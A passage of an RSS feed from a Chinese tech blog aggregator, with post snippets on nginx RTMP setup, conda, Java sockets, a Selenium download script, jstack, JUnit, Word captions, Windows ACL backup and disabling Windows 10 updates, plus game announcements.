      <description>第一步：安装nginx-full&#xA;安装&#xA;brew tap homebrew/nginx&#xA;Error: homebrew/nginx was deprecated. This tap is now empty as all its formulae were migrated.&#xA;报错原因是homebrew/nginx被弃用了，git路径变了。改用&#xA;brew tap denji/nginx&#xA;brew install nginx-full --with-rtmp-module&#xA;如果之前安装过nginx，那执行install的时候会报错，提示需要执行&#xA;brew unlink nginx&#xA;在此执行install就会成功。&#xA;参考：https://blog.csdn.net/fengsh998/article/details/79942775&#xA;查看安装信息&#xA;执行 brew info nginx-full，可以看到&#xA;版本：denji/nginx/nginx-full: stable 1.15.8, HEAD&#xA;安装所在位置：/usr/local/Cellar/nginx-full/1.15.8配置文件所在位置：/usr/local/etc/nginx/nginx.conf&#xA;服务器根目录所在位置：/usr/local/var/www&#xA;服务启动方式：brew services start denji/nginx/nginx-full or nginx&#xA;启动nginx&#xA;/usr/local/Cellar/nginx-full/1.15.8/bin/nginx&#xA;扩展：&#xA;brew tap [options] user/repo [URL]&#xA;tap是采用，利用的意思，即采用规定的仓库。当未指定URL时，使用HTTPS采用来自GitHub的规定的仓库。由于有太多的taps被托管在GitHub上，这个命令是 brew tap user/repo https://github.com/user/homebrew-repo 简写。&#xA;第二部：配置rtmp&#xA;编辑配置文件&#xA;编辑/usr/local/etc/nginx/nginx.conf，添加rtmp配置&#xA;...</description>
    </item>
    <item>
      <title>针对工作项目利用anaconda创建新环境 以及 终端前面为什么有一个（base）</title>
      <link>https://bchobby.github.io/posts/bb680d4101fc8ea7773d6acb4d935cd0/</link>
      <pubDate>Tue, 10 Aug 2021 23:01:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb680d4101fc8ea7773d6acb4d935cd0/</guid>
      <description>本文章适用问题&#xA;针对工作项目利用anaconda创建新环境&#xA;终端前面为什么有一个（base）&#xA;在环境中如何查看包的版本&#xA;conda create --name test python=3.8 创建一个test 依赖的版本是python3.8&#xA;当依赖于某一些包 直接在后面加 比如包 *&#xA;conda create --name test python=3.8 * 查看当前环境的列表&#xA;conda env list 会列出来当前所拥有的环境，名字+地址&#xA;进入test环境&#xA;conda activate test 前面就会出现（test）表示进入到test环境&#xA;可在此环境安装所需要的包&#xA;退出该环境&#xA;conda deactivate 移除该环境&#xA;conda remove -n * --all 看目前python版本&#xA;which python anaconda``很好的支持jupyter notebook&#xA;conda install notebook 然后输入&#xA;jupyter notebook 更新当前环境的的python版本，比如更新到python3.7&#xA;直接进行安装，会将其覆盖&#xA;conda install python=3.7 查询安装包的版本&#xA;conda search --name opencv 就得到opencv的所有版本&#xA;直接安装话是安装最新版本&#xA;本文章内容来源于bilibili up 又迷路&#xA;anaconda在Ubuntu环境下的安装与使用（保证看完就会用，请将声音调到最大）&#xA;本视频还有 远程ubuntu如何登陆jupyter notebook</description>
    </item>
    <item>
      <title>服务器怎么把信息发送给用户,java中怎么用tcp/ip将服务器的消息发送给多个用户...</title>
      <link>https://bchobby.github.io/posts/0c3be0612c247fadc9901e9d0a8e51a0/</link>
      <pubDate>Tue, 10 Aug 2021 21:34:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c3be0612c247fadc9901e9d0a8e51a0/</guid>
      <description>java中怎么用tcp/ip将服务器的消息发送给多个用户&#xA;关注:253 答案:2 mip版&#xA;解决时间 2021-01-31 01:26&#xA;提问者╬═掵中注定&#xA;2021-01-30 20:03&#xA;java中怎么用tcp/ip将服务器的消息发送给多个用户&#xA;最佳答案&#xA;二级知识专家往事叫我剪短发&#xA;2021-01-30 20:09&#xA;你服务器accept方法后是不是会得到一个Socket&#xA;为这个Socket(是通过这个Socket和客户端的Socket进行沟通)分配一个服务&#xA;我是这么用的ServerThread tt=new ServerThread(socket);&#xA;class ServerThread&#xA;{&#xA;private Socket so;&#xA;public ServerThread(Socket s)&#xA;{&#xA;this.so=s;&#xA;}&#xA;public void send()&#xA;{&#xA;}&#xA;public void receive()&#xA;{&#xA;Thread re=new Thread()&#xA;{&#xA;public void run()&#xA;{&#xA;}&#xA;}&#xA;}&#xA;}&#xA;相当于你用手机拨打人工服务，会给你分配一个客服&#xA;为这个Socket分配后，写一个发送方法，和一个接收方法(线程)&#xA;然后把ServerThread tt=new ServerThread(socket);中的tt保存到集合中去，要单独给某个发送&#xA;就从集合中取出来.send();这个方法应该带个参数，把消息对象传过去就是&#xA;全部回答&#xA;1楼花落浅殇&#xA;2021-01-30 20:52&#xA;先来介绍下网络协议：&#xA;tcp/ip&#xA;transmission control protocol 传输控制协议</description>
    </item>
    <item>
      <title>使用Python&#43;Chrome浏览器批量下载Ocean Color上遥感数据</title>
      <link>https://bchobby.github.io/posts/f3ee038b789ccef7d019e9c04b554fef/</link>
      <pubDate>Tue, 10 Aug 2021 21:11:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3ee038b789ccef7d019e9c04b554fef/</guid>
      <description>目录 1.前言&#xA;2.主要思路及代码&#xA;3.结果展示&#xA;建了一个QQ群，大家可以在里边聊聊水色遥感数据下载和数据处理方面的事情：1087024529&#xA;1.前言 最近遇见一个很尴尬的事情。之前写过用IDM批量下载Ocean Color上的数据（这里不放链接了，有兴趣的朋友去我的博客主页上逛逛），但是最近不知道怎么回事，在IDM中配置好用户名和密码有时候能成功下载数据，但是有时候会提示验证失败，无法下载（令人生气，可能是网络限制的问题）。使用IDM下载Earth Data上的数据可能都会出现该问题。目前想到了一个解决办法，这里分享给大家。&#xA;2.主要思路及代码 使用python+selenium调用Chrome浏览器进行下载。在操作之前，当然需要按照selenium库。还需要配置Chrome浏览器，让selenium能够调用它，配置步骤可以参考我之前的博客：使用Python自动化、批量化的下载LAADS上的数据&#xA;selenium库我这里用的是3.141.0版本。关于浏览器，我本来是想使用Edge浏览器的，但是selenium调用Edge浏览器的时候，我不知道如何指定下载数据的默认文件夹，因此这里使用了Chrome。&#xA;安装好要用的工具后，让我们来梳理下载思路。当我们有一个ocean color数据下载链接时（要想批量下载数据，还得需要会获得大量的数据下载链接），把它放在浏览器地址栏后，其实会首先跳到登录界面。在你输入用户名和密码成功登录后，浏览器重定位到数据下载链接，然后会自动下载数据。这样下载思路就有了：&#xA;1.python+selenium自动完成earth data的用户登录；&#xA;2.在浏览器地址栏不断填入数据下载链接，完成下载。&#xA;主要的代码挺短的，用户名密码替换成你自己的，具体的步骤可参考代码：&#xA;#-*-coding: utf-8-*- #@Author: zhaohaiyang #@E-mail: hyzhao_rs@163.com #使用python操作chrome #下载oceancolor的数据 # # ################################################ import os from time import sleep from selenium import webdriver #配置selenium的参数 options = webdriver.ChromeOptions() prefs = {&#39;profile.default_content_settings.popups&#39;: 0, #指定不弹出窗口 &#39;download.default_directory&#39;: &#39;H:\\downloadData&#39; #指定下载路径，注意使用双反斜杠 } options.add_experimental_option(&#39;prefs&#39;, prefs) driver=webdriver.Chrome(chrome_options=options) driver.get(&#39;https://urs.earthdata.nasa.gov/&#39;) username = driver.find_element_by_id(&#34;username&#34;) password = driver.find_element_by_id(&#34;password&#34;) username.send_keys(&#34;用户名&#34;) #程序在username文本框中填入用户名 password.send_keys(&#34;密码&#34;) #程序在password文本框中填入密码 driver.find_element_by_name(&#34;commit&#34;).click() #程序自动点击Log In按钮,完成用户登录 datalink=&#39;G:/SOS/olci_202105_oceancolor_link.</description>
    </item>
    <item>
      <title>玄元剑仙服务器列表为空,玄元剑仙3月11日维护更新公告</title>
      <link>https://bchobby.github.io/posts/f844c40f5c9918716cde2303e0c485d7/</link>
      <pubDate>Tue, 10 Aug 2021 19:25:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f844c40f5c9918716cde2303e0c485d7/</guid>
      <description>玄元剑仙为了保证服务器稳定运营，玄元剑仙优化游戏体验，全服将于2020年3月11日14:30—16:00进行更新维护，届时服务器将关闭，请大家在维护前提前下线。维护结束时间视情况提前或者延后，请玩家相互转告并合理安排游戏时间，为此给您带来的不便敬请谅解，祝您游戏愉快。&#xA;更新内容：&#xA;新玩法：仙居-家族出征。子嗣系统新增家族出征副本，玩家利用培养的子嗣，征战其他家族势力，获得丰厚奖励。&#xA;新玩法：仙居-鸿胪台。玩家可在此为子嗣招亲择偶，与其他道友的子嗣结合，并生育新的后代子嗣。&#xA;新玩法：仙居-护院神兽。仙居新增护院神兽，能够提升子嗣的属性，并且可以升级、进阶，进阶之后还会解锁专属特技。&#xA;新玩法：仙居-游心塘。仙居新增的鱼塘，产出更加高级的鱼类，并有概率出现法相等极品道具。&#xA;新玩法：法宝系统改版。法宝改为自由穿戴，并且增了大量新法宝。玩家可在家族出征中获得法宝图纸及强化材料。&#xA;新活动：仙都-闻道之路。玩家购买闻道契约之后，达成指定条件，即可获得丰厚回报。&#xA;优化：现在“乳斑石”和“星辰铁”可以换取道使经验。&#xA;修复BUG：道使和装备的反伤效果无法叠加。&#xA;修复BUG：破碎之后初次进入望春阁，特定情况下道侣会显示不全。&#xA;修复BUG：储物袋空间不足导致先圣陵冢不到账。&#xA;玄元剑仙的各位道友好!&#xA;仙历20200311，第十一修仙圣地“紫微”开放。&#xA;圣地大门将于版本 更新后 正式开启。&#xA;漫漫仙途，有你陪伴，风雨也温柔</description>
    </item>
    <item>
      <title>[JVM]JDK自带分析工具jstack简单分析</title>
      <link>https://bchobby.github.io/posts/c4ac865efc35e451e6df4a5f485a7aa8/</link>
      <pubDate>Tue, 10 Aug 2021 17:50:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4ac865efc35e451e6df4a5f485a7aa8/</guid>
      <description>目录&#xA;前言&#xA;线上问题&#xA;jps -lvm&#xA;jstack -l pid&#xA;jstack -l &amp;gt; xxxx.jstack&#xA;说明&#xA;常用参数&#xA;网上的一些使用方式&#xA;top命令&#xA;实例1：多线程竞争synchronized锁&#xA;实例2：通过wait挂起线程&#xA;总结&#xA;前言 前面写了jmap 和 visualVM，&#xA;jstack在实际生产中也用到过，不过当时都记在印象笔记了~&#xA;其实都是总结学习吧，因为之前在职，很多东西没时间写博客。就简单记录在笔记上面了。&#xA;这次刷题准备面试，记录博客也是让自己知识更成体系吧。 时间浪费点希望能有更多的价值。&#xA;虽然选择高优的事情直接背八股文更加效率，但是我喜欢慢工出细活，欲速则不达。&#xA;线上问题 我们查询内容质量校验的时候，&#xA;发现，查询hive可能线程卡死了&#xA;因为使用线程池做的数据查询。&#xA;但是有的日志并不连续，感觉像是没有执行完的样子。&#xA;很偶现的事情，后续把日志打印完成，该进行异常处理的都处理，并打印日志，后续就没有发生这个问题了。&#xA;jps -lvm jps -lvm 用于查看当前机器上运行的java进程。&#xA;然后用：&#xA;jstack -l pid 我们使用 jstack -l 6812 查看我们的应用堆栈信息:&#xA;&#34;G1 Concurrent Refinement Thread#11&#34; os_prio=0 tid=0x00007f96b0050800 nid=0x186f runnable&#xA;只是看当前堆栈的信息，历史信息并不能看到。&#xA;并没法复现现场，因为是0点之后才会做数据质量的校验。&#xA;jstack -l &amp;gt; xxxx.jstack jstack 是一个抓取 thread dump 文件的有效的命令行工具，它位于 JDK 目录里的 bin 文件夹下(JDK_HOMEbin)，以下是抓取 dump 文件的命令：</description>
    </item>
    <item>
      <title>xp文件同步服务器,xp文件同步服务器地址</title>
      <link>https://bchobby.github.io/posts/d49b62e63e5e5f93cbdfde5137690702/</link>
      <pubDate>Tue, 10 Aug 2021 17:39:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d49b62e63e5e5f93cbdfde5137690702/</guid>
      <description>xp文件同步服务器地址 内容精选&#xA;换一换&#xA;下载Bowtie安装包bowtie-1.2.3.zip。下载地址：https://github.com/BenLangmead/bowtie/archive/v1.2.3.zip下载地址：https://github.com/BenLangmead/bowtie/archive/v1.2.3.zip下载simde-master安装包sim&#xA;在IntelliJ上选择“项目”，找到“.idea”文件夹，单击右键选择“新建&amp;gt;文件”， 输入文件名“settings.json”生成settings.json文件。如图1所示。复制以下代码至新创建的settings.json文件中，修改以下代码中的服务器名称、目标服务器的IP、目标服务器IP对应的端口、登录目标服务器的用户名和同步代码到&#xA;xp文件同步服务器地址 相关内容&#xA;更新弹性云服务器的系统或者软件时，可以连接Internet，通过外部epel镜像源提供相关服务。但是，如果弹性云服务器无法访问Internet，或者外部epel镜像源提供的服务不稳定时，可以使用华为云提供的epel镜像源进行更新。本节操作仅适用于以下区域：华北-北京一、华北-北京四、华东-上海一、华东-上海二、华南-广州、中国-香港。请确&#xA;已获取该弹性云服务器的密钥文件，如未获取，请参见获取弹性云服务器的密钥文件。弹性云服务器已经绑定弹性IP地址。已配置安全组入方向的访问规则。如果您是在Windows操作系统上登录Linux，可以按照下面方式登录弹性云服务器。以PuTTY为例介绍如何登录弹性云服务器，使用PuTTY登录弹性云服务器前需要先转化私钥格式。在下面路径中下载PuT&#xA;xp文件同步服务器地址 更多内容&#xA;为了确保NameNode日常数据安全，或者系统管理员需要对NameNode进行重大操作(如升级或迁移等)，需要对NameNode数据进行备份，从而保证系统在出现异常或未达到预期结果时可以及时进行数据恢复，将对业务的影响降到最低。系统管理员可以通过FusionInsight Manager创建备份NameNode任务。支持创建任务自动或手动&#xA;将文件上传至Windows云服务器一般会采用MSTSC远程桌面连接的方式。本节为您介绍本地Windows计算机通过远程桌面连接，上传文件至Windows云服务器的操作方法。Windows云服务器可以访问公网。在本地Windows计算机上，单击“开始”，在出现的“搜索程序和文件”输入框中输入mstsc。弹出远程桌面连接对话框。弹出远程桌面连&#xA;网关创建成功以后，用户需初始化网关，建立本地网关到CSG管理控制台的连接。本章节详细介绍了如何初始化网关，为用户快速了解CSG网关初始化配置提供指导。已在本地服务器正确安装网关。已在CSG管理控制台成功创建网关。浏览器可连接到网关IP。网关IP推荐使用内网IP，该IP地址无需公网访问，请参考获取网关IP。用户在CSG管理控制台初始化网关时&#xA;该操作指导安装工程师安装MRS集群所有服务(不包含Flume)的客户端。Flume客户端安装请参见安装Flume客户端。客户端可以安装集群内节点，也可以安装在集群外节点，本章节以安装目录“/opt/hadoopclient”为例进行介绍，请以实际集群版本为准。安装目录可以不存在，会自动创建。但如果存在，则必须为空。目录路径不能包含空格。客&#xA;通过SmartKit工具可以对Atlas 500 智能小站进行快速批量配置。对Atlas 500 智能小站 1.0.7.SPC100之前版本，SmartKit不支持自动发现设备，只能通过IP+SN(序列号)或者IP+MAC地址发现设备。PC机和待操作的Atlas 500 智能小站网络相通。执行该操作前请准备好所有Atlas 500 智能小&#xA;Atlas 200 DK开发者板支持通过USB接口或者网线与Mind Studio进行连接，连接示例图如图1所示。Ubuntu服务器若想与Atlas 200 DK开发者板通信，需要配置与Atlas 200 DK开发者板在同一网段的IP地址，例如若Atlas 200 DK开发者板通过USB方式连接Ubuntu服务器，则Ubuntu服务器的U&#xA;DDK总体安装流程如图1所示。关键概念解释如下：交叉编译：指在当前操作系统(Ubuntu16.04+x86的PC机)编译出在其他操作系统(Ubuntu16.04+Arm64)下运行的程序。sysroot：是Atlas 200 DK操作系统(Ubuntu16.04+Arm64)的头文件和库目录，当用户在DDK安装服务器(Ubuntu16.0&#xA;在IntelliJ上选择“项目”，找到“.idea”文件夹，单击右键选择“新建&amp;gt;文件”， 输入文件名“settings.json”生成settings.json文件。如图1所示。复制以下代码至新创建的settings.json文件中，修改以下代码中的服务器名称、目标服务器的IP、目标服务器IP对应的端口、登录目标服务器的用户名和同步代码到&#xA;为了确保HBase元数据(主要包括tableinfo文件和HFile)安全，防止因HBase的系统表目录或者文件损坏导致HBase服务不可用，或者系统管理员需要对HBase系统表进行重大操作(如升级或迁移等)时，需要对HBase元数据进行备份，从而保证系统在出现异常或未达到预期结果时可以及时进行数据恢复，将对业务的影响降到最低。系统管理员&#xA;外部镜像文件在从原平台导出前，没有按照“Linux操作系统的镜像文件限制”的要求完成初始化操作，推荐您使用弹性云服务器完成相关配置。流程如图1所示。云服务器的正常运行依赖于XEN和KVM驱动，未安装会对云服务器运行时的性能产生影响，云服务器的部分功能会有缺失。请确保外部镜像文件在从原平台导出前，已安装这些驱动，否则云服务器因启动不成功而无&#xA;更新弹性云服务器的系统或者软件时，可以连接Internet，通过外部EulerOS镜像源提供相关服务。但是，如果弹性云服务器无法访问Internet，或者外部EulerOS镜像源提供的服务不稳定时，可以使用华为云提供的EulerOS镜像源进行更新。本节操作仅适用于以下区域：华北-北京一、华北-北京四、华东-上海一、华东-上海二、华南-广州</description>
    </item>
    <item>
      <title>SpringBoot单元测试中有了@Test注解但是idea没有执行的按钮</title>
      <link>https://bchobby.github.io/posts/7306fd8553b6ce7033fe62aaf62519be/</link>
      <pubDate>Tue, 10 Aug 2021 17:33:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7306fd8553b6ce7033fe62aaf62519be/</guid>
      <description>打算给自己的demo弄一个单元测试碰到的一些坑，我从其他项目复制一份单元测试发现左侧没有执行按钮&#xA;我去我另外一个项目左看右看了老半天没找发现问题，然后我就想这个会不会是因为导入的包不一样所以出现了问题&#xA;org.junit.jupiter.api.Test和org.junit.Test就是这两个 查阅了下资料，原理是：&#xA;spring boot 2.2之前使用的是 Junit4：org.junit.Test&#xA;spring boot 2.2之后使用的是 Junit5：org.junit.jupiter.api.Test&#xA;看了一下项目springboot版本果然不一样&#xA;解决办法：如果你用的版本是spring boot 2.2之前的版本你给他加上public就行&#xA;扩展：&#xA;@RunWith(SpringRunner.class)的作用&#xA;注解的意义在于Test测试类要使用注入的类，比如@Autowired注入的类有了@RunWith(SpringRunner.class)这些类才能实例化到spring容器中，自动注入才能生效，不然直接一个NullPointerExecption&#xA;@SpringBootTest(classes = SpringBootShardingsphereDemoApplication.class) 该注解是用到类名上，表示自动启动加载类或指定某个或多个加载启动类，默认会加载当前module下的启动类&#xA;参考&#xA;https://www.jianshu.com/p/bdd22240fe4b</description>
    </item>
    <item>
      <title>怎么通过服务器性能计算tpmc,如何选择数据库服务器？</title>
      <link>https://bchobby.github.io/posts/9681b407031e13617be87a6deddeccd2/</link>
      <pubDate>Tue, 10 Aug 2021 17:21:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9681b407031e13617be87a6deddeccd2/</guid>
      <description>原标题：如何选择数据库服务器？&#xA;数据无价,数据作为支撑一个网站业务的基础,必须要确保数据的安全。&#xA;既然数据对于网站业务如此重要,如何选择一款安全稳定的数据库服务器是非常有必要的,接下来为您简单的介绍如何选择数据库服务器？&#xA;1、数据库的高性能原则&#xA;要保证所选购的服务器,不仅要能够满足运营系统的运行和业务处理的需要,而且还要能够满足一定时期业务量的增长。&#xA;一般可以根据经验公式计算出所需的服务器TpmC值(Tpmc是衡量计算机系统的事务处理能力的程序),然后比较各服务器厂商和TPC组织公布的TpmC值,选择相应的机型。&#xA;同时,用服务器的市场价/报价除去计算出来的TpmC值得出单位TpmC值的价格,进而选择高性能价格比的服务器。&#xA;结论:服务器处理器性能很关键,CPU的主频要高,要有较大的缓存&#xA;2、服务器的安全性原则&#xA;服务器处理的大都是相关系统的核心数据,其上存放和运行着关键的交易和重要的数据。&#xA;这些交易和数据对于拥有者来说是一笔重要的资产,他们的安全性就非常敏感。&#xA;服务器的安全性与系统的整体安全性密不可分,如:网络系统的安全、数据加密、密码体制等。&#xA;服务器需要在其自身,包括软硬件,都应该从安全的角度上设计考虑,在借助于外界的安全设施保障下,更要保证本身的高安全性。&#xA;结论:首先从服务器的材料上来说要具备高硬度高防护性等条件,其次服务器的冷却系统和对环境的适应能力要强,这样才能够在硬件上满足服务器安全的要求。&#xA;3.数据库的可靠性原则&#xA;可靠性原则是所有选择设备和系统中首要考虑的,尤其是在大型的、有大量处理要求的、需要长期运行的系统上。&#xA;考虑服务器系统的可靠性,不仅要考虑服务器单个节点的可靠性或稳定性,而且要考虑服务器与相关辅助系统之间连接的整体可靠性,如:网络系统、安全系统、远程打印系统等。&#xA;在必要时,还应考虑对关键服务器采用集群技术,如:双机热备份或集群并行访问技术,甚至采用可能的完全容错机。&#xA;结论:服务器要具备冗余技术,同时像硬盘、网卡、内存、电源此类设备要以稳定耐用为主,性能其次。&#xA;关于服务器 更多可以咨询 亚太网络 邓杰返回搜狐，查看更多&#xA;责任编辑：</description>
    </item>
    <item>
      <title>word中按照章节为图表插入题注，生成图表目录、交叉引用</title>
      <link>https://bchobby.github.io/posts/1532e101ee545c7e5d4c0d919452937d/</link>
      <pubDate>Tue, 10 Aug 2021 17:11:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1532e101ee545c7e5d4c0d919452937d/</guid>
      <description>步骤一、利用“多级列表“功能实现章节标题自动编号 https://blog.csdn.net/hltt3838/article/details/119565844&#xA;步骤二、插入 “题注” 在 “引用” 选项卡选择 “插入题注”， 打开后如下，选择需要的标签“图”或者“表”，没有的话点击**“新建标签”，自己根据需要新建标签。位置的话，一般表**选择“所选项目上方”，图选择“所选项目下方”；点击“编号”，勾选“包含章节编号”，确认，回到题注弹窗继续确认，则已经插入题注。&#xA;步骤三、插入 图表目录 将光标移动到需要插入图表目录的地方，点击 “引用” 选项卡，选择 “插入表目录”，打开如下图窗口，根据需要选择表/图，确认即可&#xA;步骤四、交叉应用 如需交叉引用图表，将光标移动至需要交叉引用的地方，打开 “引用” 选项卡，点击“交叉引用”，弹出下列窗口，在“引用类型”中选择 图/表 等，在引用内容中选择“整项题注”或“仅标签和编号”等&#xA;步骤五、更新域 如果添加新的图表后，原来图表序号发生变化，那么交叉引用需要更新，可以选择全文或需要修改的域，右击，更新域&#xA;参考： https://blog.csdn.net/teda1814/article/details/98842428?ops_request_misc=&amp;amp;request_id=&amp;amp;biz_id=102&amp;amp;utm_term=word%E4%B8%AD%E6%A0%B9%E6%8D%AE%E7%AB%A0%E8%8A%82%E5%88%AB%E4%B8%BA%E5%9B%BE%E7%89%87%E8%87%AA%E5%8A%A8%E7%BC%96%E5%8F%B7%20%20%E6%96%87%E6%A1%A3%E4%B8%AD%E6%B2%A1%E6%9C%89%E6%8C%87%E5%AE%9A%E6%A0%B7%E5%BC%8F%E7%9A%84%E6%96%87&amp;amp;utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-5-.first_rank_v2_pc_rank_v29&amp;amp;spm=1018.2226.3001.4187</description>
    </item>
    <item>
      <title>英雄联盟服务器不稳定领取皮肤,英雄联盟因服务器稳定性问题官方免费发放源计划娜美皮肤...</title>
      <link>https://bchobby.github.io/posts/faa8fdffab234c39bc70c39aea8b8ef5/</link>
      <pubDate>Tue, 10 Aug 2021 16:44:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/faa8fdffab234c39bc70c39aea8b8ef5/</guid>
      <description>相信大家平时玩英雄联盟总会遇到排队时间过久、客户端卡顿等问题，昨日，英雄联盟官方就近期游戏稳定性问题向广大玩家发表了歉意声明，并说明了关于造成服务器不稳定的原因和解决方案，同时向玩家免费发放源计划娜美皮肤&#xA;以下为部分官方原文&#xA;亲爱的召唤师：&#xA;大家好。&#xA;近几个月来，英雄联盟频繁出现卡顿和功能错误等问题，我们收到大量召唤师焦急的反馈。首先我们要为目前糟糕的游戏体验诚恳道歉，没有将大家热爱的英雄联盟守护好，非常对不起。其次要为迟来的说明道歉，我们本该第一时间告知大家，问题为何出现，为何会持续很久，我们又计划如何解决。&#xA;英雄联盟已经与各位召唤师一起走过8年，在2017年以前，我们还在使用最早期的底层架构，这严重影响了游戏的创新与发展。为了更长远的未来，英雄联盟在2017年更新了整个底层架构，以支持更多的创新和更好的游戏体验。&#xA;然而，随着底层架构更新，游戏出现了一些难以预估的问题，并在近几个月加剧。我们与拳头游戏尝试了很多解决方案，但其技术难度远超原有预期，目前依然没有解决根源问题。&#xA;为此，拳头专项工程师小组来到深圳，与我们一同对所有游戏模块进行全面排查与测试，工程量巨大，预计会花费较长时间，将持续数个版本周期。在此期间，我们会制定应急方案，24小时监测并尽快解决临时出现的问题，尽全力保证玩家的游戏体验。&#xA;再次向各位召唤师说声真心的对不起，我们将向所有召唤师免费赠送一款“源代码·娜美”皮肤，感谢召唤师们一直以来的陪伴、支持、包容与鞭策。&#xA;我们和大家一样，深深热爱英雄联盟，让我们在召唤师峡谷里继续并肩前行，一起守护这款属于我们大家的游戏。&#xA;英雄联盟运营团队&#xA;关于部分疑问Q&amp;amp;A说明：&#xA;一、 服务器为什么一直不稳定?&#xA;英雄联盟已经与各位召唤师一起走过了8年，8年的时间在互联网行业意味着翻天覆地的变化，而游戏整体还使用着8年前的底层架构，这严重制约了英雄联盟的创新与发展。为了保证英雄联盟的长远未来，英雄联盟在2017年更新升级了整个游戏软件的底层架构，以便更好的进行功能开发以及模块优化。&#xA;也许大家会问，为什么如此重要的软件改动没有好好检查，就拿出来全量更新?其实，我们为此准备了3年，但因为整个游戏的底层架构更新是一个非常庞大的工程，在新老交替的阶段，系统架构会出现许多不可预期的错误。同时，由于国服玩家众多，哪怕是很小的比例出现问题，影响的范围也很大。&#xA;服务器的稳定性问题给各位召唤师带来了糟糕的游戏体验，我们难辞其咎，诚恳道歉，请大家给我们更多的反馈与支持，帮助我们全力解决问题。&#xA;二、 游戏不稳定问题还将持续多久?&#xA;从2017年游戏软件底层更新开始，我们就一直和拳头游戏紧密合作，对各种问题进行排查定位，试点解决。期间尝试了以前有效的种种工具，比如服务器扩容、服务器自动修复机制以及其他的手段，虽然每次都能短期解决问题，但是始终没有根治。&#xA;近期，我们正在对服务器进行大型迁移和扩容，提供国内顶级的服务器运营环境，以便能够随时监测并且更快速的处理临时性问题。目前，联合团队正在针对所有可能出现问题的游戏模块逐个排查。这是一次游戏底层架构的大扫除，将会花费比较久的时间，预计会持续数个版本周期。&#xA;三、 接下来打算怎么办?&#xA;在整个排查期间，专项小组计划全面检查所有游戏功能模块。在排查某一个模块时，可能会短暂关闭这个模块2-3小时，导致召唤师们暂时无法使用相关服务。我们会提前发布公告，向大家通报情况。&#xA;如果大家在游戏中遇到问题，请一定向我们反馈，信息越充足，越有利于我们快速解决困难。感谢大家一直坚定地和我们站在一起。&#xA;玩家可登陆英雄联盟官网进行源计划娜美皮肤的领取，不过此次领取时间截止2019年12月31日23：59，各位召唤师抓紧时间领取吧</description>
    </item>
    <item>
      <title>如何备份服务器共享文件的用户权限,文件服务器：共享文件夹的移动和权限设置备份2012-04-28...</title>
      <link>https://bchobby.github.io/posts/8673128fc68fca58546bce9e61770b4f/</link>
      <pubDate>Tue, 10 Aug 2021 16:39:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8673128fc68fca58546bce9e61770b4f/</guid>
      <description>移动共享，注意权限&#xA;由于某些需要，有时要把共享文件夹移动位置，拷贝到别的目录下。复制操作虽然很简单，但要将共享文件夹所包含的用户访问权限信息和具体共享文件一起复制过去，这是一般的复制操作做不到的。利用“XCOPY”命令就能很好的解决这个问题。&#xA;以D盘的CCE共享文件夹为例，将共享文件及其所包含的用户访问权限信息，复制到D盘的CCEB共享文件夹下。在“命令提示符”窗口中的“D:\&amp;gt;”提示符下，运行“xcopy CCE CCEB /O /S”命令后，就可以将CCE共享文件夹和所包含的用户访问权限信息，都复制到CCEB共享文件夹下了。其中“/O”参数表示“复制文件的所有权和 ACL 信息”，“/S”表示“复制目录和子目录”。&#xA;有备无患，备份ACL&#xA;如果共享文件夹所包含的ACL信息(用户访问权限)意外丢失，单凭记忆是很难恢复，还有可能造成遗漏，给共享文件夹留下安全隐患。这时用户就可以使用CACLS命令，做好这些共享文件夹的ACL信息备份。&#xA;以D盘的共享文件夹CCE为例，该共享文件夹中包含着大量的ACL信息，下面就使用CACLS命令对此共享文件夹中的所有ACL信息进行备份。在“命令提示符”窗口中切换到“D:\&amp;gt;”提示符下，运行“cacls d:\ CCE /t &amp;gt; d:\aclsCCE.txt”命令后，就将共享文件夹CCE中所包含的ACL信息都备份到D盘的“aclsCCE.txt”文件中了。当ACL信息意外丢失时，就可以按照备份文件“aclsCCE.txt”中ACL信息，对CCE共享文件夹的访问权限进行重新设置，避免了部分ACL信息的遗漏，保证了共享文件夹的安全性。</description>
    </item>
    <item>
      <title>win10系统停止更新服务器,Win10系统关闭自动更新功能的三种最佳方法</title>
      <link>https://bchobby.github.io/posts/20d9cddc44c9abf3c8454075b93de93f/</link>
      <pubDate>Tue, 10 Aug 2021 16:06:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20d9cddc44c9abf3c8454075b93de93f/</guid>
      <description>Win10系统正式版发布在即，受到很多微软粉丝的追捧，并且微软也启动了为期一年的免费升级计划。很多用户使用Win10时发现一个问题，win10系统的自动更新功能是无法关闭的，导致用户都是给强制安装了推送的更新，并且Windows更新中推送的驱动更新更是要命，经常安装上不兼容的驱动程序导致系统出现问题。该怎么解决这个问题呢？现在为大家介绍三种解决方法。&#xA;方法一：禁用Windows updata服务&#xA;1、按WIN+R 打开运行，输入 services.msc 回车 然后找到 “Windows updata”服务，双击后设置为禁用 应用即可；&#xA;方法二：推迟自动更新&#xA;微软在win10系统中Windows更新处虽然没有提供关闭自动更新的选项，不过却提供了延迟更新的选项；&#xA;操作步骤：打开win10系统的Windows更新，点击高级选项，勾选“推迟升级”选项即可；&#xA;方法三：为windows更新指定一个错误的升级服务器地址&#xA;1、按“Win+R”组合键打开运行输入“gpedit.msc”再点“确定”；&#xA;2、打开“本地组策略编辑器”展开“管理模版”→“Windows组件”；&#xA;3、接着双击“Windows组件”找到“Windows Update；&#xA;4、在“Windows Update”内找到“指定Intranet Microsoft更新服务位置”；&#xA;5、选中“指定Intranet Microsoft更新服务位置”右键编辑；&#xA;6、将“未配置”框选为“已启用”。在“设置检测更新的Intranet更新服务”填写127.0.0.1 (注：127.0.0.1为本机IP)。&#xA;新的Windows系统，要求用户接受每一次更新。“Windows 10家庭版”用户完全无法逃避更新；“Windows10专业版”用户有8个月的时间来推迟安装更新，但同样无法拒绝；只有“Windows 10企业版”高级用户才能无限期推迟更新。</description>
    </item>
    <item>
